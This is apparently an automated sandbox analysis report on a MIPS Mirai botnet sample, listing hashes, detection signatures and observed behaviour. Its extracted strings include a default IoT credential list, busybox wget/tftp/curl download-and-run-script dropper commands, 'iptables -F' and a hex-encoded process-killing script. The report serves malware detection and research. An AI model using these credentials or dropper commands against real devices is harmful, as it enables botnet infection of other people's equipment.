Linux Analysis Report
la.bot.mips.elf

Overview

General Information

Sample name: la.bot.mips.elf
Analysis ID: 1565976
MD5: eb2140c2a27a612cba4ca30a6ff6be44
SHA1: 60b9050203f8af755de78099c66d5b3a3b33c42c
SHA256: 076d9140d21be0aae71c067ffe17a9451a2a9dcd818d1593cb417f8c0cef2cf7
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai
Score: 76
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Sample tries to kill multiple processes (SIGKILL)
Creates hidden files and/or directories
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.mips.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.mips.elf Virustotal: Detection: 32% Perma Link
Found strings indicative of a multi-platform dropper
Source: la.bot.mips.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.mips.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/proc/mounts/fdsocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/var/Sofia/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin/
Source: la.bot.mips.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample listens on a socket
Source: /tmp/la.bot.mips.elf (PID: 5558) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 220.212.237.7
Source: unknown TCP traffic detected without corresponding DNS query: 179.206.94.76
Source: unknown TCP traffic detected without corresponding DNS query: 125.83.158.148
Source: unknown TCP traffic detected without corresponding DNS query: 198.249.173.209
Source: unknown TCP traffic detected without corresponding DNS query: 206.142.144.53
Source: unknown TCP traffic detected without corresponding DNS query: 84.20.1.193
Source: unknown TCP traffic detected without corresponding DNS query: 134.177.12.75
Source: unknown TCP traffic detected without corresponding DNS query: 207.98.151.173
Source: unknown TCP traffic detected without corresponding DNS query: 126.68.34.207
Source: unknown TCP traffic detected without corresponding DNS query: 112.148.76.202
Source: unknown TCP traffic detected without corresponding DNS query: 188.211.232.153
Source: unknown TCP traffic detected without corresponding DNS query: 123.223.163.147
Source: unknown TCP traffic detected without corresponding DNS query: 87.172.204.248
Source: unknown TCP traffic detected without corresponding DNS query: 181.42.162.87
Source: unknown TCP traffic detected without corresponding DNS query: 34.9.38.0
Source: unknown TCP traffic detected without corresponding DNS query: 6.65.186.56
Source: unknown TCP traffic detected without corresponding DNS query: 51.97.197.131
Source: unknown TCP traffic detected without corresponding DNS query: 117.255.181.114
Source: unknown TCP traffic detected without corresponding DNS query: 62.14.242.93
Source: unknown TCP traffic detected without corresponding DNS query: 180.53.247.23
Source: unknown TCP traffic detected without corresponding DNS query: 132.31.206.200
Source: unknown TCP traffic detected without corresponding DNS query: 128.149.97.207
Source: unknown TCP traffic detected without corresponding DNS query: 90.101.135.59
Source: unknown TCP traffic detected without corresponding DNS query: 11.76.104.37
Source: unknown TCP traffic detected without corresponding DNS query: 98.173.211.97
Source: unknown TCP traffic detected without corresponding DNS query: 223.65.40.93
Source: unknown TCP traffic detected without corresponding DNS query: 62.125.225.177
Source: unknown TCP traffic detected without corresponding DNS query: 205.42.113.203
Source: unknown TCP traffic detected without corresponding DNS query: 129.201.77.151
Source: unknown TCP traffic detected without corresponding DNS query: 95.58.127.35
Source: unknown TCP traffic detected without corresponding DNS query: 124.215.128.11
Source: unknown TCP traffic detected without corresponding DNS query: 41.124.131.170
Source: unknown TCP traffic detected without corresponding DNS query: 92.212.209.124
Source: unknown TCP traffic detected without corresponding DNS query: 142.231.230.4
Source: unknown TCP traffic detected without corresponding DNS query: 157.32.132.241
Source: unknown TCP traffic detected without corresponding DNS query: 69.137.14.128
Source: unknown TCP traffic detected without corresponding DNS query: 220.212.237.7
Source: unknown TCP traffic detected without corresponding DNS query: 118.215.128.248
Source: unknown TCP traffic detected without corresponding DNS query: 179.206.94.76
Source: unknown TCP traffic detected without corresponding DNS query: 112.75.27.96
Source: unknown TCP traffic detected without corresponding DNS query: 19.59.236.111
Source: unknown TCP traffic detected without corresponding DNS query: 125.83.158.148
Source: unknown TCP traffic detected without corresponding DNS query: 35.130.89.144
Source: unknown TCP traffic detected without corresponding DNS query: 112.116.176.77
Source: unknown TCP traffic detected without corresponding DNS query: 198.249.173.209
Source: unknown TCP traffic detected without corresponding DNS query: 72.123.34.162
Source: unknown TCP traffic detected without corresponding DNS query: 222.25.11.161
Source: unknown TCP traffic detected without corresponding DNS query: 206.142.144.53
Source: unknown TCP traffic detected without corresponding DNS query: 44.169.147.37
Source: unknown TCP traffic detected without corresponding DNS query: 136.209.217.245
Source: la.bot.mips.elf String found in binary or memory: http:///curl.sh
Source: la.bot.mips.elf String found in binary or memory: http:///wget.sh

System Summary
barindex
Sample tries to kill multiple processes (SIGKILL)
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 940, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5700, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5701, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5702, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5703, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5704, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5705, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5706, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5707, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5708, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5709, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5710, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5711, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5712, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5713, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5714, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5715, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5716, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5765, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5784, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5806, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5811, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5814, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5816, result: successful Jump to behavior
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//v
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 940, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5700, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5701, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5702, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5703, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5704, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5705, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5706, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5707, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5708, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5709, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5710, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5711, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5712, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5713, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5714, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5715, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5716, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5765, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5784, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5806, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5811, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5814, result: successful Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) SIGKILL sent: pid: 5816, result: successful Jump to behavior
Source: classification engine Classification label: mal76.spre.troj.evad.linELF@0/1@0/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.mips.elf (PID: 5561) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.mips.elf (PID: 5561) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5561) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5561) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5561) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5561) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5561) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5561) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5561) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5561) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5561) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/240/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/242/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/244/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/245/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/247/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/806/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/807/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/928/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/135/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/268/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/940/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/271/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/273/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/275/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 5560) File opened: /proc/276/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.mips.elf (PID: 5561) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.mips.elf (PID: 5558) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.mips.elf, 5558.1.000055bec2cd3000.000055bec2d7b000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mips
Source: la.bot.mips.elf, 5558.1.000055bec2cd3000.000055bec2d7b000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: la.bot.mips.elf, 5558.1.00007ffc84002000.00007ffc84023000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/la.bot.mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mips.elf
Source: la.bot.mips.elf, 5558.1.00007ffc84002000.00007ffc84023000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: la.bot.mips.elf, type: SAMPLE
Source: Yara match File source: 5558.1.00007f3a14400000.00007f3a1441c000.r-x.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: la.bot.mips.elf, type: SAMPLE
Source: Yara match File source: 5558.1.00007f3a14400000.00007f3a1441c000.r-x.sdmp, type: MEMORY
windows-stand
